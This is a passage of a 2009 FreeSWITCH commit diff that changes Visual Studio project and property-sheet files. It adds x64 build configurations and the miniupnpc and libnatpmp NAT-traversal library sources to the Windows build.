+						Name="Release|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							DisableSpecificWarnings="4100;4127;4389;4706"
+						/>
+					</FileConfiguration>
+				</File>
+				<File
+					RelativePath="..\..\libs\miniupnpc\miniwget.c"
+					>
+					<FileConfiguration
+						Name="Debug|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Debug|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+				</File>
+				<File
+					RelativePath="..\..\libs\miniupnpc\minixml.c"
+					>
+					<FileConfiguration
+						Name="Debug|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Debug|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+				</File>
+				<File
+					RelativePath="..\..\libs\miniupnpc\upnpcommands.c"
+					>
+					<FileConfiguration
+						Name="Debug|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Debug|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+				</File>
+				<File
+					RelativePath="..\..\libs\miniupnpc\upnperrors.c"
+					>
+					<FileConfiguration
+						Name="Debug|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Debug|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+				</File>
+				<File
+					RelativePath="..\..\libs\miniupnpc\upnpreplyparse.c"
+					>
+					<FileConfiguration
+						Name="Debug|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Debug|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+				</File>
+			</Filter>
+			<Filter
+				Name="natpmp"
+				>
+				<File
+					RelativePath="..\..\libs\libnatpmp\getgateway.c"
+					>
+					<FileConfiguration
+						Name="Debug|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Debug|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							UsePrecompiledHeader="0"
+							DisableSpecificWarnings="4100"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							UsePrecompiledHeader="0"
+							DisableSpecificWarnings="4100"
+						/>
+					</FileConfiguration>
+				</File>
+				<File
+					RelativePath="..\..\libs\libnatpmp\natpmp.c"
+					>
+					<FileConfiguration
+						Name="Debug|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Debug|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							UsePrecompiledHeader="0"
+							DisableSpecificWarnings="4100"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							UsePrecompiledHeader="0"
+							DisableSpecificWarnings="4100"
+						/>
+					</FileConfiguration>
+				</File>
+			</Filter>
 		</Filter>
 		<Filter
 			Name="Header Files"
@@ -650,6 +1496,10 @@
 				RelativePath="..\..\src\include\switch_xml.h"
 				>
 			</File>
+			<File
+				RelativePath="..\..\src\include\switch_xml_config.h"
+				>
+			</File>
 		</Filter>
 		<Filter
 			Name="Resource Files"
@@ -672,6 +1522,14 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					ExcludedFromBuild="true"
+					>
+					<Tool
+						Name="VCCustomBuildTool"
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					ExcludedFromBuild="true"
 					>
@@ -679,6 +1537,14 @@
 						Name="VCCustomBuildTool"
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					ExcludedFromBuild="true"
+					>
+					<Tool
+						Name="VCCustomBuildTool"
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\src\include\switch_version.h.template"
@@ -695,6 +1561,17 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCustomBuildTool"
+						Description="Generating switch_version.h"
+						CommandLine="cscript /nologo &quot;$(ProjectDir)..\..\libs\win32\util.vbs&quot; Version  &quot;$(ProjectDir)&quot; &quot;$(ProjectDir)..\..\&quot; &quot;$(ProjectDir)..\..\src\include\switch_version.h.template&quot; &quot;$(ProjectDir)..\..\src\include\switch_version.h&quot;&#x0D;&#x0A;"
+						AdditionalDependencies="..\..\src\include\switch.h;..\..\src\include\switch_apr.h;..\..\src\include\switch_buffer.h;..\..\src\include\switch_caller.h;..\..\src\include\switch_channel.h;..\..\src\include\switch_console.h;..\..\src\include\switch_core.h;..\..\src\include\switch_event.h;..\..\src\include\switch_frame.h;..\..\src\include\switch_ivr.h;..\..\src\include\switch_loadable_module.h;..\..\src\include\switch_log.h;..\..\src\include\switch_module_interfaces.h;..\..\src\include\switch_platform.h;..\..\src\include\switch_resample.h;..\..\src\include\switch_rtp.h;..\..\src\include\switch_sqlite.h;..\..\src\include\switch_stun.h;..\..\src\include\switch_types.h;..\..\src\include\switch_utils.h;..\..\src\include\switch_xml.h;..\..\src\switch_buffer.c;..\..\src\switch_caller.c;..\..\src\switch_channel.c;..\..\src\switch_config.c;..\..\src\switch_console.c;..\..\src\switch_core.c;..\..\src\switch_event.c;..\..\src\switch_ivr.c;..\..\src\switch_loadable_module.c;..\..\src\switch_log.c;..\..\src\switch_resample.c;..\..\src\switch_rtp.c;..\..\src\switch_stun.c;..\..\src\switch_utils.c;..\..\src\switch_xml.c"
+						Outputs="..\..\src\include\switch_version.h;lastversion"
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -705,6 +1582,17 @@
 						Outputs="..\..\src\include\switch_version.h;lastversion"
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCustomBuildTool"
+						Description="Generating switch_version.h"
+						CommandLine="cscript /nologo &quot;$(ProjectDir)..\..\libs\win32\util.vbs&quot; Version  &quot;$(ProjectDir)&quot; &quot;$(ProjectDir)..\..\&quot; &quot;$(ProjectDir)..\..\src\include\switch_version.h.template&quot; &quot;$(ProjectDir)..\..\src\include\switch_version.h&quot;&#x0D;&#x0A;"
+						AdditionalDependencies="..\..\src\include\switch.h;..\..\src\include\switch_apr.h;..\..\src\include\switch_buffer.h;..\..\src\include\switch_caller.h;..\..\src\include\switch_channel.h;..\..\src\include\switch_console.h;..\..\src\include\switch_core.h;..\..\src\include\switch_event.h;..\..\src\include\switch_frame.h;..\..\src\include\switch_ivr.h;..\..\src\include\switch_loadable_module.h;..\..\src\include\switch_log.h;..\..\src\include\switch_module_interfaces.h;..\..\src\include\switch_platform.h;..\..\src\include\switch_resample.h;..\..\src\include\switch_rtp.h;..\..\src\include\switch_sqlite.h;..\..\src\include\switch_stun.h;..\..\src\include\switch_types.h;..\..\src\include\switch_utils.h;..\..\src\include\switch_xml.h;..\..\src\switch_buffer.c;..\..\src\switch_caller.c;..\..\src\switch_channel.c;..\..\src\switch_config.c;..\..\src\switch_console.c;..\..\src\switch_core.c;..\..\src\switch_event.c;..\..\src\switch_ivr.c;..\..\src\switch_loadable_module.c;..\..\src\switch_log.c;..\..\src\switch_resample.c;..\..\src\switch_rtp.c;..\..\src\switch_stun.c;..\..\src\switch_utils.c;..\..\src\switch_xml.c"
+						Outputs="..\..\src\include\switch_version.h;lastversion"
+					/>
+				</FileConfiguration>
 			</File>
 		</Filter>
 	</Files>

Modified: freeswitch/branches/seven/w32/Library/FreeSwitchCore.vcproj (14471 => 14472)


--- freeswitch/branches/seven/w32/Library/FreeSwitchCore.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/w32/Library/FreeSwitchCore.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -43,8 +43,8 @@
 			<Tool
 				Name="VCCLCompilerTool"
 				Optimization="0"
-				AdditionalIncludeDirectories="..\..\src\include;..\..\libs\include;..\..\libs\srtp\include;..\..\libs\srtp\crypto\include;..\..\libs\libresample\include;..\..\libs\libteletone\src;..\..\libs\win32\sqlite;..\..\libs\pcre;..\..\libs\stfu"
-				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;FREESWITCHCORE_EXPORTS;PCRE_STATIC"
+				AdditionalIncludeDirectories="..\..\src\include;..\..\libs\include;..\..\libs\srtp\include;..\..\libs\srtp\crypto\include;..\..\libs\libteletone\src;..\..\libs\win32\sqlite;..\..\libs\pcre;..\..\libs\stfu;..\..\libs\speex\include"
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;FREESWITCHCORE_EXPORTS;PCRE_STATIC;STATICLIB"
 				MinimalRebuild="true"
 				BasicRuntimeChecks="3"
 				RuntimeLibrary="3"
@@ -53,7 +53,6 @@
 				PrecompiledHeaderFile="$(IntDir)\$(TargetName).pch"
 				BrowseInformation="0"
 				WarningLevel="4"
-				WarnAsError="true"
 				Detect64BitPortabilityProblems="true"
 				DebugInformationFormat="3"
 				ForcedIncludeFiles=""
@@ -136,15 +135,14 @@
 			<Tool
 				Name="VCCLCompilerTool"
 				Optimization="0"
-				AdditionalIncludeDirectories="..\..\src\include;..\..\libs\include;..\..\libs\srtp\include;..\..\libs\srtp\crypto\include;..\..\libs\libresample\include;..\..\libs\libteletone\src;..\..\libs\win32\sqlite;..\..\libs\pcre;..\..\libs\stfu"
-				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;FREESWITCHCORE_EXPORTS;CRASH_PROT;PCRE_STATIC"
+				AdditionalIncludeDirectories="..\..\src\include;..\..\libs\include;..\..\libs\srtp\include;..\..\libs\srtp\crypto\include;..\..\libs\libteletone\src;..\..\libs\win32\sqlite;..\..\libs\pcre;..\..\libs\stfu;..\..\libs\speex\include"
+				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;FREESWITCHCORE_EXPORTS;STATICLIB;CRASH_PROT;PCRE_STATIC"
 				RuntimeLibrary="2"
 				UsePrecompiledHeader="2"
 				PrecompiledHeaderThrough="switch.h"
 				PrecompiledHeaderFile="$(IntDir)\$(TargetName).pch"
 				BrowseInformation="0"
 				WarningLevel="4"
-				WarnAsError="true"
 				Detect64BitPortabilityProblems="true"
 				DebugInformationFormat="3"
 			/>
@@ -447,6 +445,26 @@
 				>
 			</File>
 			<File
+				RelativePath="..\..\src\switch_nat.c"
+				>
+				<FileConfiguration
+					Name="Debug|Win32"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						DisableSpecificWarnings="4389;4127"
+					/>
+				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|Win32"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						DisableSpecificWarnings="4389;4127"
+					/>
+				</FileConfiguration>
+			</File>
+			<File
 				RelativePath="..\..\src\switch_odbc.c"
 				>
 			</File>
@@ -506,6 +524,326 @@
 					/>
 				</FileConfiguration>
 			</File>
+			<File
+				RelativePath="..\..\src\switch_xml_config.c"
+				>
+			</File>
+			<Filter
+				Name="miniupnpc"
+				>
+				<File
+					RelativePath="..\..\libs\miniupnpc\declspec.h"
+					>
+				</File>
+				<File
+					RelativePath="..\..\libs\miniupnpc\igd_desc_parse.c"
+					>
+					<FileConfiguration
+						Name="Debug|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+				</File>
+				<File
+					RelativePath="..\..\libs\miniupnpc\minisoap.c"
+					>
+					<FileConfiguration
+						Name="Debug|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+				</File>
+				<File
+					RelativePath="..\..\libs\miniupnpc\minissdpc.c"
+					>
+					<FileConfiguration
+						Name="Debug|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+				</File>
+				<File
+					RelativePath="..\..\libs\miniupnpc\miniupnpc.c"
+					>
+					<FileConfiguration
+						Name="Debug|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100;4127;4389;4706"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100;4127;4389;4706"
+						/>
+					</FileConfiguration>
+				</File>
+				<File
+					RelativePath="..\..\libs\miniupnpc\miniwget.c"
+					>
+					<FileConfiguration
+						Name="Debug|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+				</File>
+				<File
+					RelativePath="..\..\libs\miniupnpc\minixml.c"
+					>
+					<FileConfiguration
+						Name="Debug|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+				</File>
+				<File
+					RelativePath="..\..\libs\miniupnpc\upnpcommands.c"
+					>
+					<FileConfiguration
+						Name="Debug|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+				</File>
+				<File
+					RelativePath="..\..\libs\miniupnpc\upnperrors.c"
+					>
+					<FileConfiguration
+						Name="Debug|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+				</File>
+				<File
+					RelativePath="..\..\libs\miniupnpc\upnpreplyparse.c"
+					>
+					<FileConfiguration
+						Name="Debug|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;STATICLIB"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100;4127"
+						/>
+					</FileConfiguration>
+				</File>
+			</Filter>
+			<Filter
+				Name="natpmp"
+				>
+				<File
+					RelativePath="..\..\libs\libnatpmp\getgateway.c"
+					>
+					<FileConfiguration
+						Name="Debug|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100"
+						/>
+					</FileConfiguration>
+				</File>
+				<File
+					RelativePath="..\..\libs\libnatpmp\natpmp.c"
+					>
+					<FileConfiguration
+						Name="Debug|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							UsePrecompiledHeader="0"
+							PrecompiledHeaderThrough=""
+							PrecompiledHeaderFile=""
+							DisableSpecificWarnings="4100"
+						/>
+					</FileConfiguration>
+				</File>
+			</Filter>
 		</Filter>
 		<Filter
 			Name="Header Files"
@@ -652,6 +990,10 @@
 				RelativePath="..\..\src\include\switch_xml.h"
 				>
 			</File>
+			<File
+				RelativePath="..\..\src\include\switch_xml_config.h"
+				>
+			</File>
 		</Filter>
 		<Filter
 			Name="Resource Files"

Copied: freeswitch/branches/seven/w32/apr.vsprops (from rev 14471, freeswitch/trunk/w32/apr.vsprops) (0 => 14472)


--- freeswitch/branches/seven/w32/apr.vsprops	                        (rev 0)
+++ freeswitch/branches/seven/w32/apr.vsprops	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,12 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioPropertySheet
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="apr"
+	>
+	<Tool
+		Name="VCCLCompilerTool"
+		AdditionalIncludeDirectories="$(SolutionDir)libs\apr\include"
+		PreprocessorDefinitions=""
+	/>
+</VisualStudioPropertySheet>

Modified: freeswitch/branches/seven/w32/modules.vsprops (14471 => 14472)


--- freeswitch/branches/seven/w32/modules.vsprops	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/w32/modules.vsprops	2009-08-09 18:53:22 UTC (rev 14472)
@@ -3,8 +3,8 @@
 	ProjectType="Visual C++"
 	Version="8.00"
 	Name="modules"
-	OutputDirectory="$(ConfigurationName)"
-	IntermediateDirectory="$(ConfigurationName)"
+	OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+	IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
 	InheritedPropertySheets=".\winlibs.vsprops"
 	>
 	<Tool
@@ -17,7 +17,7 @@
 		Name="VCLinkerTool"
 		OutputFile=""
 		GenerateDebugInformation="true"
-		ProgramDatabaseFile="$(OutDir)$(TargetName).pdb"
+		ProgramDatabaseFile="$(OutDir)\$(TargetName).pdb"
 		ImportLibrary="$(OutDir)/$(InputName).lib"
 	/>
 </VisualStudioPropertySheet>

Modified: freeswitch/branches/seven/w32/spidermonkey.vsprops (14471 => 14472)


--- freeswitch/branches/seven/w32/spidermonkey.vsprops	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/w32/spidermonkey.vsprops	2009-08-09 18:53:22 UTC (rev 14472)
@@ -8,7 +8,7 @@
 	<Tool
 		Name="VCCLCompilerTool"
 		AdditionalIncludeDirectories="&quot;$(SolutionDir)libs\js\src&quot;;&quot;$(SolutionDir)libs\js\nsprpub\pr\include&quot;;&quot;$(SolutionDir)src\mod\languages\mod_spidermonkey&quot;"
-		PreprocessorDefinitions="XP_WIN;_X86_=1;JSFILE;EXPORT_JS_API;JS_THREADSAFE"
+		PreprocessorDefinitions="XP_WIN;JSFILE;EXPORT_JS_API;JS_THREADSAFE"
 	/>
 	<Tool
 		Name="VCLinkerTool"